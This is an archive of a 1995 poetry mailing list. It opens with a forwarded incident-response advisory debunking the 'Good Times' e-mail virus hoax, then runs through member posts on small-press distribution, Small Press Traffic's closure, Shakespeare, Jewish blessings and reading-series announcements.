In early December 1994, a mail message was circulated in several mailing lists and bulletin boards warning of a "Good Times" virus. This "virus" was allegedly being circulated in e-mail on bulletin boards and several commercial services. The report stated that simply reading the message in a mail reader would cause it to activate, causing various forms of damage. Some versions of the message cite the FCC and/or America On-Line as authoritative sources of warnings about "Good Times." A related "virus" is sometimes also reported, alleged to have the string "xxx-1" (or similar) in the subject.

Several of the FIRST teams, including the Department of Energy's CIAC and Purdue's PCERT, responded by posting advisories stating that this report appeared to be a hoax. Actually, the hoax posting was allegedly traced to a student at a college in the northeast U.S. who had made the whole thing up as a prank that got somewhat out of hand. In the time since that first posting, none of the response teams has reported any credible sighting of such a virus. (It is possible, in some very specialized, very rare circumstances, that e-mail might contain a destructive sequence or characters, but this is highly unlikely, and NOT the case in this instance. Some further details are given in the "additional discussion" below. We repeat, this is NOT the case in

regards to "Good Times.")

More Recently

In the past few weeks, we have received e-mail and phone calls from a number of people who have seen new instances of "warnings" about the "virus." It seems that many people did not see the original series of postings, or forgot the earlier advisories. It is also an unfortunate reality that many people will forward on warnings, even if of questionable technical merit, without making an attempt to verify them with an authoritative source. This leads to worry and further copies as the warnings spread.

Please DO NOT repost warnings or reports of the "Good Times" virus! It is important that we try to stop the spread of the false and potentially damaging warning about "Good Times." It is in the same class of rumors and out-dated information as other urban legends such as the "Craig Shergold" (requests to send postcards/business cards to a dying boy) rumor. These stories continue to keep appearing and disturbing people as time goes on.

What you can do

** If you have received a warning about "Good Times" then send this advisory to everyone you know who received that warning. To ensure that it is read, DO NOT put the phrase "Good Times" in the subject line. We suspect that some people never saw the original advisories because they set their mailers to automatically delete mail with those words in the subject line.*

** Save this advisory. If you receive a warning about "Good Times" anytime in the future, simply send a copy of this advisory back to whomever it is who sends you the warning.*

** If you ever get a warning like this, or similarly get a warning or notice of some widespread problem with computers, VERIFY it with credible sources before passing it on. Rumors, especially when spread by well-meaning individuals, can cause significant panic and damage. FIRST response teams (FIRST == Forum of Incident Response and Security Teams) will be more than willing to respond with definitive information to a query on these topics; it is one of their missions. We are enclosing a copy of the list in this advisory, current as of April 24, 1995.*

** We also note the possibility that someone is using this as a precursor to a real attack. That is, someone is repeatedly circulating the "Good Times" rumor to condition people to believing there is no danger, and will then circulate some damaging code under that name. To*

that end, if you ever get any mail labelled "Good Times" that is in some way executable (i.e., is a program or command file), DO NOT run it! Instead, contact your appropriate FIRST team for assistance and analysis. Again, we stress that we view this possibility as very, very unlikely.

Additional Discussion
----
*Informally, a computer virus is code that, when executed, causes some action to occur, including some form of reproduction of the virus. In a similar manner, a "Trojan Horse" program is code that when executed has some unexpected (and usually unwanted effect). What is important to note here is that the virus and trojan horse code must be *executed* in some way to have an effect. That is, it must be run as a program, or passed as instructions to some interpreter program.*

When e-mail arrives at a system and is read by the user, it is seldom "executed" by anything that could damage the system, let alone reproduce the code itself. There are only two general exceptions to this for systems in wide-spread use, to our knowledge:

1) On a MS-DOS PC-based system with an ANSI.SYS driver, it is possible that a carefully-crafted control code sequence could execute some unwanted actions. This would only work if the mail was displayed in text mode (not in a window or specialized application). However, there are three good reasons to believe that this would never act to spread a virus:

* *First, the necessary control characters would be unlikely to pass through various mail gateways and forwarders without modification. Any change would render the sequence inoperable.*
* *To spread effectively, the code would need to be written such that it would use pathnames and code present on almost every machine where received, including ANSI.SYS MS-DOS machines are seldom so predictable!*
* *Any such change would only map one or more keys to a damaging command; the user would have to press a certain key (or sequence) to actually trigger the damage. This involves more than simply reading a mail message!*

2) On systems using MIME-capable mailers (or similar), it is possible that a message could be crafted that would trigger an external agent on the receiving machine to do harm. For example, it might be possible to embed commands in a PostScript file that would cause a PostScript interpreter to modify files. For this to succeed, it requires that users automatically execute those applications upon receipt of appropriate mail, and that those applications have enabled operations that might unduly affect the system. Again, this does not seem to be a viable way to spread a virus.

> *Note that we are not claiming that a harmful agent cannot be distributed in mail. To the contrary, the "Good Times" message *is* damaging -- as a rumor! It is also possible to circulate code that, if executed by an unwary user, could cause damage. However, the possibility is effectively nil of a virus being constructed that will circulate via e-mail, affect any of several dozens of operating systems when run through any of scores of different mail agents, and launch by being listed to the screen.*
>
> *More Information*
> *----------*
> *Further discussion of this rumor may be found in the following CIAC Notes, available via WWW:*
> *http://ciac.llnl.gov/ciac/notes/Notes04c.shtml*
> *http://ciac.llnl.gov/ciac/notes/Notes05d.shtml*
> *http://ciac.llnl.gov/ciac/notes/Notes09.shtml*
> *or via ftp:*
> *ftp://ciac.llnl.gov/pub/ciac/notes/notes04c.txt*
> *ftp://ciac.llnl.gov/pub/ciac/notes/notes05d.txt*
> *ftp://ciac.llnl.gov/pub/ciac/notes/notes09.txt*

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519. **David Ball**
Re: PHONE CONGRESS FOR FREE
Wed 26 Apr 1995

Don't look now, but that number has been Off for months. I think! (worth checking, & I will)
Anyway, thanks for the effort.

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520. **George Bowering**
Re: First Intensity
Wed 26 Apr 1995

One line

oops

three lines

↑ Index

521. **George Bowering**
Re: Don Pullen
Wed 26 Apr 1995

Agree that is awful news about Don Pullen. Anazing to think that he was just that young. I thought he must be 60 by now. God, the way that man illuminated the 60s and 70s! Especially during that time when so many great groups were abandoning the piano. Ah shit.

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522. **Robert Drake**
Re: poetry and the electronic
Wed 26 Apr 1995

> *I think it needs a separate focus partly because I sense a desire for author to author exchange as well. Yes, of course that can be done simply through this e-space and some people are doing it happily already BUT as time rolls on and others come and go and some blow more or less active for many many reasons maybe one clear focus for this purpose is worth exploring. It might be easier to be directed straight to the 'Book Exchange - Timezone Distribution' site. There would be an Author-Author availability and a Press-Press availability. Any press could say very concisely its terms.*
>
> *Negotiable. Send sample. Equivalent value no problem. Chaps and perfect bound and books on disc acceptable. - (for example for a press maybe)*
>
> *Otherwise any casual browser or frequent (had to delete 'regular') user has to open and close numerous sites.*
>
> *Couldn't a swap page also have a click-on sample facility when possible and so on to add guidance to follow up choices.*
>
> *Bob - i'll ask you here if you feel TAPROOT is the appropriate host for this or if a separate EPC site makes more sense? I'd go with whatever solution can be made to work with the minimum of work and the maximum of user-friendliness.*
>
> *My concerns are about openness and ease of access rather than passwords and in-ness. But maybe it's felt generally that some form of 'masonry' is 'necessary'?*

cris--

well, i like where this is going, & yes fr openness/access--but if by 'masonry' you mean structure, i think that a well-thotout framework actually _increases_

access, rather than limits... and my initial response, not thot thru very hard, is that a separate area for swaps makes more sense to me, rather than adding that to TRee (tho hotlinks from TRee to a swapshop would be possible, & easy to implement).

one goal of TRR is to get books noticed, _bought_, & read, knowing firsthand how hard that middle step is, & how necessary for the survival of micro-presses. conversely, despite the generosity-bordering- on-cheerleaderly tone of many of TRRs "blurbs", we do sometimes pan a book, & i'd have reservations about direct connections to distribution systems potentially influencing editorial decisions...

& my most immediate problem, i suppose, is time--after i finish formating the remaining backlog of reviews (approx 1200 separate documents), my next priority will likely be adding links from individual reviews to samples from selected titles... plus continuing to edit the next paper version, & a few other sideprojects like the dayjob...

asever
luigi

↑ Index

523. Tony Green
Not a definition -- 3
Wed 26 Apr 1995

June 1978, L=... Lyn Hejinian writes:

"In such are we obsessed with our own lives, which lives being now language, the emphasis has moved. The emphasis is persistently centric, so that where once one has sought a vocabulary for ideas, now one seeks ideas for vocabularies".

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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524. **Loss Glazier**
Re: poetry and the electronic
Wed 26 Apr 1995

To Cris, Ken, Luigi, and others,

Just looking over some of the exchanges over the topic of an online swap shop. I think it's a good idea, as others do, as the discussion has developed.

Both points of view of course are right, it should fit in to the press listings and it could be separate!

Here's my point. The staff here is incredibly heavily worked. I would be willing, if someone wanted to take responsibility for the creation of a monthly list that would be sent to me or Ken (we can work that out) as an e-mail message. Then it could be posted in the EPC under a menu item say, "Publisher's Swap List." Are the interested publishers wanting to swap everything on their lists or selected items? The list could just be (1) a list of publishers or (2) list of publishers and titles offered for swap. At the head of the list could be the e-mail contact for publishers who wish to be added or subtracted from the list.

Whew, seems a terribly laborious project. Maybe the solution is for all interested publishers to put up their own press home page in the EPC!!! This is an area that could use a good shot in the arm. You could have a note in your home page that indicateds you are interested in exchanging with other publishers.

There are great possibilities for press home pages. (As you may know the EPC had what - 8,000 - transactions in Feb.?) You can set up a press home page with minimal effort, including a graphic, etc. BUT SUCH A PAGE SHOULD BE UPDATED REGULARLY. In other words, send a home page to me to get going. When you want to update it send an updated home page ("Updated Home Page for X Press" in subject line) so that I can simply replace the previous home page.

Thus, swaps would be accommodated, orders could be instigated, links from the massive and extraordinary TapRoot project could me made...

Are you with me?

All best,
Loss

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525. Lindz Williamson
Holiday
Wed 26 Apr 1995

Off to sun and fun, be back on the 14th. George and Ryan see you at the next pub night when i get back. GBAD was great, we'll have to do it again. I'll say hi to the locals.

Ciao, Lindz

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526. Herb Levy
Subtext 3 update
Wed 26 Apr 1995

Charles Alexander has called my attention to the fact that I left out some useful information about this series. There are several talks among the readings.

Here's a slightly annotated list, sorry for the partial redundancy.

Friday May 5

Noemie Maxwell - reading
Spencer Selby - talk "Alternative Making"
John Olson - reading

Friday May 12

Tom Malone - reading
Ezra Mark - reading
Robert Mittenthal - reading

Wednesday May 17

Joseph Keppler - talk "Writing's Ethic"
Nico Vassilakis - reading

Wednesday May 24

Marvin Sackner - talk "Concrete & Visual Poetry"
Crag Hill - reading

Friday May 26

Susan Clark - reading
Jeanne Heuving - reading
Catriona Strang - reading

You now have sufficient information to schedule your trip to Seattle. Stop by on your way to <The Recovery of the Public World> in Vancouver.

- Herb

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527. **George Bowering**
Re: cordelia
Wed 26 Apr 1995

Hey, Lindzed, If _Lear_ had been a regular comedy, Cordelia would have married at the end. As it is more like a tragedy, she has to leave this plane, just like Desdemona and Cleopatra. Them's the rules. So it wasnt because Shakespeare was a wimp; it was because he was a hightone Elizabethan playwright.

↑ Index

528. **Herb Levy**
Re: Re Mandel/Mao
Wed 26 Apr 1995

On Mon, 24 Apr 1995, Tom Mandel wrote:

> *Shabtai Zwi, the Jewish false messiah of the 17th century, introduced a blessing that went as follows: "Blessed be the Lord our God, King of the universe, who permittest that which is forbidden."*

<permittest>?

I hope that's not your own translation.

Respectfully,

Herb

↑ Index

529. **Lindz Williamson**
Re: cordelia
Thu 27 Apr 1995

On Wed, 26 Apr 1995, George Bowering wrote:

> *Hey, Lindzed,*
> *If _Lear_ had been a regular comedy, Cordelia would have married at the end. As it is more like a tragedy, she has to leave this plane, just like Desdemona and Cleopatra. Them's the rules. So it wasnt because Shakespeare was a wimp; it was because he was a hightone Elizabethan playwright.*

I don't really think of it as being successful as a comedy or a tragedy, but as the lack of development of a female character. Desdemona has the same mystery around her and probably the same amount of lines, but she is never given motive. We never know why she's willing to disobey her father to marry Othello. One of the better female portraits presented by Will, I'd say is Volumina. She has depth and strength, possibly this is a result of her Roman background. I think what causes me to think of Will being a wimp is that when he has the chance to do great things in portraying "liberated" free thinking women, he kills them off and we end up with the Mirandas. Shakespeare seems to be more concerned with crossdressing than really attacking the politics of a female monarch. I'm not really a fan of Will's plays, I sort of pick out the good speeches and never got beyond that, I really prefer his sonnets.

CXIII

Since I left you, mine eye is in my mind
And that which governs me to go about
Doth part his function and is partly blind,
Seems seeing, but effectually is out;
For it no form delivers to the heart
Of bird, of flower, or shape, which it doth latch;
Of his quick objects hath the mind no part,
Nor his own vision holds what it doth catch.
For if it see the rud'st or gentlest sight,
The most sweet favor'd or deformed'st creature,
The mountain or the sea, the day or night,
The crow or dove, it shapes them to your feature.
Incapable of more, replete with you,
My most true mind thus makes mine eye untrue.

Lindz

↑ Index

530. **George Bowering**
Re: poetry v history
Thu 27 Apr 1995

Thanks for your note. I recently got the idea of doing what the young methodical historians dont do, going to the sites and describing whatever traces I can find in the ground, places where mines used to be, etc. I recall that either Herodotus or Thucydides did that. I cant remember which,. I can only remember that Olson claimed that one of them did, and some historian I was talking to, 25 years agho, said no, it was the other one. But really, has Olson ever been mistaken? Jeez!

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531. Spencer Selby
Re: Email Virus (fwd)
Thu 27 Apr 1995

I'm glad to hear that the virus is a hoax. That message was forwarded to me by a friend.

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532. Michael Boughn
Re: cordelia
Thu 27 Apr 1995

> *what is feminine and masculine?--maria d*

Maria:

H.D. called them vibrations, which may be another name for a dream of difference that animates our thinking the world for better and worse

Mike

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533. Mark Roberts
AWOL: The Write Stuff
Thu 27 Apr 1995

AUSTRALIAN WRITING ONLINE is a small press distribution and information service which we hope will help Australian magazines, journals and publishers to reach a much wider audience through the internet.

As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We also post a monthly 'Happenings' list (an Australian Literature what's on). If you would like to receive AWOL postings directly, please contact AWOL directly on [redacted].

AWOL is also offering to distribute Australian small magazines and presses within Sydney. If you are interested in finding out more about our distribution service please contact us.

AWOL: [redacted].

PO Box 333
Concord NSW 2137 Australia

Please note that [redacted] is a temporary address until we set
up our own address sometime later this year
****

* THE WRITE STUFF *
ISSN 1323-7721

'Light the candle and write!'

The Write Stuff is an electronic journal with an eclectic
range of book reviews, interviews with writers, articles
on writing and original prose and poetry.

EDITORS: Giles Hugo and Anne Kellas

GREETINGS from the remote antipodes of Cyberia. The Write Stuff has evolved out of a weekly lit-crit newspaper column I used to write ('88-'92) and the desire to promote good writers and writing in the most eclectic sense. We ain't peddling no critical creed -- Giles Hugo

IT seems not too much to expect that readers of fiction and poetry might also be users of the Internet, and that to use this medium to point back to the printed world of books and writing can only be of service to writers and their readers. I hope this proves to be so! -- Anne Kellas

==========

(1) HOW TO ACCESS THE WRITE STUFF
(2) CONTENTS OF ISSUE ONE
(3) ABOUT CONTRIBUTIONS
(4) HOW TO CONTACT THE WRITE STUFF

==========

(1) HOW TO ACCESS The Write Stuff

GOPHER version:
gopher://info.utas.edu.au:70/11/Publications/The%20Write%20Stuff

or info.utas.edu.au and through gopher: -- open top
level document called Publications -- open The Write Stuff

HTML version:
under construction at
http://info.utas.edu.au/docs/ahugo/tws/

PRINT version:
A limited print version will be made available in Australia at
selected bookstores soon after electronic publication.

EMAIL correspondence:
[redacted]

(2) CONTENTS OF ISSUE ONE

Over 27 book reviews, original prose and poetry, articles on writing, and an interview

* Can you grok Cyberia? From William Gibson to virtual reality, hackers, crackers, cyberdelia, cultural viruses;
* Hunter S. Thompson back on the Gonzo trail; Tobias Wolff; Jack Kerouac's Good Blonde; Bob Adamson's poetry; Gabrielle Lord; Bret Easton Ellis;
* The Australian AIDS Quilt Project - lest we forget;
* Is tabloid biography juicing up the Biosphere?
* Conspiracy theories from JFK to Freud's fraud; 'Forrest Gump', the book before the movie; Poetry in Motion on CD-ROM.
* Winnie Mandela and the painful birth of the New South Africa;
* Free at Last - Survivors tackle the devastation of childhood sexual abuse;
* Tasmanian writer Richard Flanagan talks about his novel, Death of a River Guide, reprinted three times in as many months;
* Articles by Geoffrey Dean on short stories, and Anne Kellas on the state of writing in South Africa;
* A story by G. W. Robinson, poems by Michael Dargaville

(3) ABOUT CONTRIBUTIONS

PLEASE do not send us unsolicited manuscripts, we simply cannot afford to return them. Poetry and prose is included by invitation only. However, we welcome your comments and views.

(4) HOW TO CONTACT The Write Stuff

E-mail: send a message to
[redacted]
Or write to The Write Stuff at
P O Box 368,
North Hobart,
Tasmania 7002,
Australia.
Phone (002) 28 0189
internationally dial (+61 02) instead of (002)

Acknowledgments:
University of Tasmania, Australia

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↑ Index

534. Loss Glazier
Swap at EPC
Thu 27 Apr 1995

Ken sent me what seemed a most reasonable suggestion:

> *perhaps a compromise would be one index page...a SWAP page...that listed all presses willing to swap with links to their pages (ie. already existing) in the small press area?*

This could be done. It would still involve presses establishing and maintaining their press home pages and would also allow complete linkage to other EPC resources.

Loss

↑ Index

535. Tom Mandel
Re: Re Mandel/Mao
Thu 27 Apr 1995

My error, Herb, and thanks for pointing it out, in the Sabbatean antinomian blessing, which should read:

> Blessed be the Lord our God, King of the universe,
> who permitteth that which is forbidden.

It might also be translated "which permitteth" as the rabbis tried to avoid formulations that would anthropomorphize God, often inserting the phrase "as it were" where the language led them to such forms -- this despite God's showing Moses his ass in the desert.

Tom Mandel

↑ Index

536. Herb Levy
Distribution Evolution
Thu 27 Apr 1995

Hi -

Just thought I'd comment on the recent evolution of the recurring distribution discussion. It's a little long, but it's been paragraphed for easy consumption.

This thread began with someone, Rae Armantrout I think, saying that they wished that people she knew could find her new book (Made to Seem, which as several others have said, is quite good) in stores.

After being seconded by several others, this quickly became a series of complaints against SPD's ability to place books in stores and a list of the great poetry book store in the US.

For the sake of those who got here late, this list seems to be Woodland Pattern in M'woky.

At least one person who said SPD never seemed to get their books into stores said that SPD was also a major source of income, without which they could not continue.

Someone else said that most stores end up buying at least the larger small presses through Consortium, not SPD. Someone else noted that many of the books sold in the US at least, are sold through the mail.

The remains of the thread, as they continue to this day, have been taken up with hammering out the details of a way in which writers and publishers could trade publications with each other.

This is fine, and I may be the only non-writers, non-publishers here, so this may be sour grapes, but doesn't it avoid the original issue?

Oh, well, we'll just get this work to its audience by using the always glamourous INTERNET. Of course, how could I be so naive!

As Loss Glazier notes there is a great potential for home pages. Still, I don't think putting the work on the WWW and calling it good is the answer, certainly not for the next few years anyway.

It's great that EPC is getting 8,000 hits a month. But this isn't very much considering how many people are on the internet. & It's not very much compared to what a lot of home pages get.

& when you consider how many of these hits are people looking for something weird to show their friends how they've mastered the WideWorldWeb, this number seems even worse.

"Hey, Stevie, look at the weird thing I found on the net last night. They said it was a poem, but I can't make any sense out of it. It's not about how when their lover left them it reminded them of their first pet dying."

In the long run, yeah, the internet may be a way to get work to more people than are going to find their way to it now. And it makes sense to be ready for that.

But most people, even most people who are interested in the kind of poetry we're interested in (add that to the thread on <definitions>), despite how nice & cozy it feels here on <poetics-list>, are not on-line.

And they won't be for some time yet.

So, now that you've got a better system of trading publications between writers and publishers started and you're ready for on-line distribution, how are you going to get the work in front of people NOW?

Just thought I'd ask.

Bests,

Herb Levy

↑ Index

537. **Jonathan Brannen**
Re: cordelia
Thu 27 Apr 1995

George,

Shakespeare "was a hightone Elizabethan playwright"??? There are certainly those who would argue he had the populist touch.

Jonathan

↑ Index

538. **Jonathan Brannen**
Re: poetry and the electronic
Thu 27 Apr 1995

Loss,
Interested publishers setting up a home page for their presses seems like a logical approach. How's it done?

What do the rest of you think? It's certainly less labor intensive than some approaches.

Jonathan Brannen

↑ Index

539. **Herb Levy**
Re: Re Mandel/Mao
Thu 27 Apr 1995

I should have sent this together with the below but I couldn't find it yesterday.

There's a traditional Jewish prayer called the <Shechecheyanu> (pardon my transliteration). It's said whenever you do something for the first time, seasonally (eating your first fresh tomato of the year) or more universally (birth of a child, etc.).

I couldn't find the translation I grew up with, but it's roughly as follows (dropping the archaicisms past the formulaic opening): "Blessed art Thou, O Lord our God, King of the Universe, who has sustained us and allowed us to reach this time."

In combination with the blessing from Shabtai Zvi that Tom Mandel cites, these cover an awe-ful lot of what's interesting in the world, no?

On Wed, 26 Apr 1995, Herb Levy wrote:

> *On Mon, 24 Apr 1995, Tom Mandel wrote:*
>
> *Shabtai Zwi, the Jewish false messiah of the 17th century, introduced a blessing that went as follows: "Blessed be the Lord our God, King of the universe, who permittest that which is forbidden."*
>
> *<permittest>?*
>
> *I hope that's not your own translation.*
>
> *Respectfully,*
>
> *Herb*

↑ Index

540. **Maria Damon**
Re: poetry v history
Thu 27 Apr 1995

an antrhopologist, jonathan boyarin, has edited a book called remapping memory: the politics of time/space, in which he himself has done just that with palestinian/israeli ruins/monuments, and has an entire book forthcoming on that subject...it's halfway between fieldnotes, theory, ethnography and poetics of process...worth checking out--maria d

In message <[redacted]> UB Poetics discussion group
writes:
> Thanks for your note. I recently got the idea of doing what the young
> methodical historians dont do, going to the sites and describing
> whatever traces I can find in the ground, places where mines used to
> be, etc. I recall that either Herodotus or Thucydides did that. I
> cant remember which,. I can only remember that Olson claimed that one
> of them did, and some historian I was talking to, 25 years agho, said
> no, it was the other one. But really, has Olson ever been mistaken?
> Jeez!

↑ Index

541. **Jonathan Brannen**
Malls, Mail and Romance
Thu 27 Apr 1995

Ron,

Forty percent of all books sold in the US are NOT romance novels. Approximately 94% of all books sold in the US are text books. Of the remaining six percent, four percent are non-fiction, one and a half percent are fiction, and one half of one percent consists of all other book publications (including, of course, poetry).

I feel, too, that somebody should plug Small Press Traffic in San Francisco. They carry all the good stuff that SPD in Berkeley has become too elitist to bother with, i.e. chapbooks and new lit journals. I discovered Spenser's work there, Dan Davidson's, Generator Press books, Score Press books, etc., long before SPD carried them. Small Press Traffic has led a pretty precarious existence, but they're interested in literature before its been embalmed, and if they survive, they won't be dumping their chapbook publications in order to make shelf space as SPD in Berkely has.

Let me restate that last: they won't be dumping their chapbook selection in order to make shelf space for University Press Publications as SPD in Berkeley has.

Small Press Traffic is a nice place to go rummage amid the new.

Thought I mention it in case there's someone reading this that (Death to all line editors) Thought I should mention this in case there's someone reading this that doesn't worship at the altar of the perfect bound book. Anybody out there remember Doones Press? Excellent early titles by Ron and Tom Raworth and others, all memeo and staples and hard to find. If you're "in the business of selling books" then you shouldn't be publishing poetry. If you're in love with

poetry and you publish it for that reason, there are always alternative ways to readers.

Ron, most of this hasn't actually been addressed to you, but I do have a question, aren't major writing centers interior?

Best,
Jonathan Brannen

↑ Index

542. **Jonathan Brannen**
George Julian Harney
Thu 27 Apr 1995

Noted that Cris mentioned Harney and poetry as though they were enemies. George Julian Harney, should you not know, has the distinction of being the first working class communist as well as the publisher of the first English translation of The Communist Manifesto. Harney was in fact a reader of poetry. Byron seems to have been his favorite, but his personal library contained volumes of poetry by others as well.

Let the record note,
Jonathan Brannen

↑ Index

543. **Jonathan Brannen**
elephant safari
Thu 27 Apr 1995

Ed,
Are there no giraffes left in New Jersey?

best,
Jonathan

↑ Index

544. **Gary Sullivan**
seeking M/MLA respondent: poetry (fwd)
Thu 27 Apr 1995

Dear Academics:

The following is a forwarded message calling for two papers: one on Olson & one on Creeley. Dig how they want you to drag Wittgenstein into the latter.

Poets, sorry, they don't care what you think. Groove on paragraph 5's "... please submit ... standing at your institution (MA 2, PhD 3, etc.), and any other information you feel would better inform us of your commitment to the study of contemporary American poetry." (!?!?)

I don't know about you folks, but I'm just going to Xerox Olson's "Letter for Melville 1951" and submit that.

Hugs & big comfy sweaters to all,

Gary

---------- Forwarded message ----------
Date: Thu, 27 Apr 1995 10:17:25 -0500 (CDT)
From: Karen M Frederickson <[redacted]>
To: [redacted]
Subject: seeking M/MLA respondent: poetry

Seeking respondent for panel at M/MLA Annual Convention in St. Louis, November 2-4, 1995.

We are involved with a panel new to this year's Midwest Modern Language Association Annual Convention: "Mimetic Ends: Representational Shifts in Post-WWII Poetry". In order to ensure a dynamic exchange of scholarly views, we seek and welcome potential respondents from other universities.

Respondents are welcome for two papers in particular. Charles Olson's position on the cusp of postmodernism and the philosophic scope of his poetic ideology offer his work as an instructive site for theoretical analysis. The paper to be present attempts to move Olson beyond strict phenomenological re-readings and into a discussion of the material implications of Olson's "projective" economy of image. The second paper will explore the work of Robert Creeley as influenced by William Carlos Williams. A reliance on Wittgenstein's writings should offer a unique reading of Creeley's response.

We hope to select a single respondent for these papers. The respondent's primary responsibility is to prepare a ten-minute response designed to promote discussion for all in attendance at the session. Ideally, the respondent will be able to bring the papers into dialogue with each other and with the broader concerns of the panel (two other papers will be presented).

If interested, please submit a brief letter summarizing your principal scholarly interests, standing at your institution, (MA 2, PhD 3, etc.), and any other information you feel would better inform us of your commitment to the study of contemporary American poetry. Address letters to:

James Zeigler - Dept. of English
601 S. Morgan St. (m/c 162)
Chicago, IL 60607

Direct any questions to either Zeigler at [redacted] or Pat Roberts at (3[redacted]. We will reply to all who express interest and the selected respondent will receive paper drafts by August 31. The selected respondent will need to join Midwest Modern Language Association prior to the conference.

Thank you for your interest.

↑ Index

545. **Tony Green**
Not a definition -- 4
Thu 27 Apr 1995

June 1978, L= magazine,Peter Seaton writes:

"Some reason a few kids see you straighten up is the pronounced difference developed into something that inches or fractions of inches could shrink to almost zero by covering the other side of a hard and fast rule: no one saw the inside the letters for, who was with us for hours."

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

546. **Kevin Killian**
Re: Malls, Mail and Romance
Thu 27 Apr 1995

> *I feel, too, that somebody should plug Small Press Traffic in San Francisco. They carry all the good stuff that SPD in Berkeley has become too elitist to bother with, i.e. chapbooks and new lit journals. I discovered Spenser's work there, Dan Davidson's, Generator Press books, Score Press books, etc., long before SPD carried them. Small Press Traffic has led a pretty precarious existence, but they're interested in literature before its been embalmed, and if they survive, they won't be dumping their chapbook publications in order to make shelf space as*

> *SPD in Berkely has.*
>
> *Let me restate that last: they won't be dumping their chapbook selection in order to make shelf space for University Press Publications as SPD in Berkeley has.*
>
> *Small Press Traffic is a nice place to go rummage amid the new.*

As of three weeks ago I am now Small Press Traffic's (only) employee, a very part-time (paywise at least) position. SPT hasn't had an employee for two months. Officially I am the manager, but since there isn't enough money to hire a director, directorship duties are planned to be performed by myself and the much-overworked board.

A couple of poets I recently talked with didn't know we still existed. We're now housed (meaning we have two bookcases) at Lodestar, a (very nice) new age bookstore in the Castro, on Noe at Market. Much of the store's stock is in storage in Colma. SPT's mailing address is now 2215-R Market Street #449, San Francisco, CA 94114. Voice mail: 415/[redacted]. And, of course, I can always be e-mailed.

Financially, things are in a crisis state. Unfortunately, this is true of many arts organizations in the Bay Area (Intersection just did a major lay-off of their staff, for example). The board is trying to come to a decision as to what to do, to just put it in its grave, to downsize, to become a presenting organization (i.e., get rid of the bookstore, which has never supported itself). I would like to see SPT continue to be involved in distribution in some way. I think the ideas expressed here about online distribution alternatives are very exciting. I would welcome any suggestions from any of you on the listserv, concerning directions to take the organization. We're having a Saturday board meeting in two or three weeks to discuss SPT's direction.

Though we no longer have a space for readings, I've recently been given a grant for a reading series to administer. Once I figure out what exactly it is that will fulfill the grant, hopefully SPT will be able to continue, for a bit, to present some interesting readings, at who knows what location.

I've been involved with this organization since the early 80's. Writing workshops at SPT, and the literary community that gathered around it changed my life. Your kind words about the organization are deeply appreciated.

Dodie Bellamy

↑ Index

547. **Carl Lynden Peters**
Re: First Intensity
Thu 27 Apr 1995

---

george, this is as good as tjhe creeley poem, what was it -- how'd it go: one/ 2/ and 3

> *One line*
>
> *oops*
>
> *three lines*

carl

↑ Index

548. **Jonathan Brannen**
Re: Swap at EPC
Thu 27 Apr 1995

Ken's suggestion sounds workable to me.

Jonathan Brannen

↑ Index

549. **Carl Lynden Peters**
Re: first intensity
Thu 27 Apr 1995

---

george, this one's

one line

oops

three lines

as good as the creeley poem, what was it -- how'd it
go: one, 2, and 3,,,

carl

↑ Index

550. **Gary Sullivan**
Re: Small Press Traffic
Thu 27 Apr 1995

Dear Jonathan:

I hate to be the messenger of this, but I'm told Small Press Traffic closed. Yes, it was a great place. The first time I went in I thought "is *this* the bookstore Brautigan was writing about in _The Abortion_?" People literally brought in books they had made, sometimes in editions of like five copies. (Including me.) The best press name I ever saw was in SPT: "The Photocopy Machine at Work."

They also, thanks largely to Kevin & Dodie, had what I thought was the single best reading series in the Bay Area. Also, also, they used to put out a newsletter every couple of months or so w/brief reviews, etc.

Them days, sadly, are over. Or, so I'm told. Unfortunately, you're right: "If you're 'in the business of selling books' then you shouldn't be publishing [or otherwise making available] poetry." (That's not true, though, in at least a few other countries.)

Yours,

Gary

↑ Index

551. **Robert Drake**

Re: Malls, Mail and Romance

Thu 27 Apr 1995

> *I feel, too, that somebody should plug Small Press Traffic in San Francisco. They carry all the good stuff that SPD in Berkeley has become too elitist to bother with, i.e. chapbooks and new lit journals. I discovered Spenser's work there, Dan Davidson's, Generator Press books, Score Press books, etc., long before SPD carried them. Small Press Traffic has led a pretty precarious existence, but they're interested in literature before its been embalmed, and if they survive, they won't be dumping their chapbook publications in order to make shelf space as SPD in Berkely has.*

lovely as the storefront is (a regular stop fr me whenever i visited SF), & also many of the individuals involved; Small Press Traffic has _consistantly_ ripped me off, taking stuff on consignment and then refusing to pay... i wish it were not so but...

lbd

↑ Index

552. **Robert Drake**
Re: Distribution Evolution
Thu 27 Apr 1995

herb--

> *But most people, even most people who are interested in the kind of poetry we're interested in (add that to the thread on <definitions>), despite how nice & cozy it feels here on <poetics-list>, are not on-line.*
>
> *And they won't be for some time yet.*

the conception of who "we" are, and "the kind of poetry we're interested in", is, i think, far from a definable singularity... ^^^^^

> *So, now that you've got a better system of trading publications between writers and publishers started and you're ready for on-line distribution, how are you going to get the work in front of people NOW?*
>
> *Just thought I'd ask.*

TapRoot Reviews appears first, & primarily, as a traditional paper publication (the various electronic versions contain only a subset of the information in the the paper version); and the reviews therein are primarily of _paper_ publications, on the premise that those publications are most accessible to "people NOW." the use of new technologies does not necessarily imply the abandonment of the old.

& conversely--the _potential_ for online communication/distribution far exceeds the present reality of traditional hardcopy dissemination of info. sure, that potential is not yet realized, and limited techno- access is still a barrier... that's no reason not to lay the groundwork now for future possiblities...

yr friendly techo-ludite
lbd

↑ Index

553. **Ryan Knighton**
Re: cordelia
Fri 28 Apr 1995

Lindz, or anyone interested, in your last post you wrote "female character" was undeveloped in Lear. Which kind of character do you mean?

↑ Index

554. **Ron Silliman**
Re: Malls, Mail and Romance
Fri 28 Apr 1995

I loved Small Press Traffic, but it shut down earlier this year (reduced actually to four shelves in a new age bookstore in the Castro). Shut down in part by stock that never turned but ate up capital in the form of shelf space. The largest debtor was SPD.

